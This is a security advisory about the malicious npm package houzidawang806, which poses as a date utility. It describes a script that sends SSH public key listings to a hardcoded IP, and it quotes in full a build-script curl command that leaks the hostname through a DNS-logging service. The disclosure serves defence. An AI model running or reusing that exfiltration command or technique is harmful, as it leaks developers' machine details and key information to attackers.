houzidawang806npm
Malicious code in houzidawang806 (npm) Remove it immediately and rotate any exposed credentials.
What this malware does
Package self-describes as 'A simple date formatting utility' but ships two distinct attacker primitives. (1) postinstall.js enumerates ~/.ssh/ for *.pub files and POSTs the listing along with os.userInfo().username and platform to the hardcoded bare-IP endpoint https://124.221.154.135:443/post. The file's comments explicitly label sections as targets and C2 server in Chinese ('窃取目标', 'C2 服务器', '模拟外传数据到攻击者服务器 (C2)'). The script is shipped in the tarball but not wired into package.json lifecycle hooks, so it does not auto-execute on npm install; however, any tooling or developer that runs the shipped postinstall.js will exfiltrate SSH key listings to the attacker. (2) package.json scripts.build runs curl http://$(hostname).ba6511da.log.dnslog.pp.ua, embedding the installer's hostname as a subdomain of a public DNS-logging service used for out-of-band exfiltration. Running npm run build leaks the machine hostname to the attacker via DNS. The doc/behavior mismatch (a date-formatting library has no need for SSH directory enumeration, hostname recon, or hardcoded IP callbacks) plus the explicit C2-labeled comments make malicious intent unambiguous.
Malicious versions
Indicators of compromise (SHA-256)
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Scan your dependencies
O3 Security blocks malicious packages like this at install time and in CI.
Supply-chain protection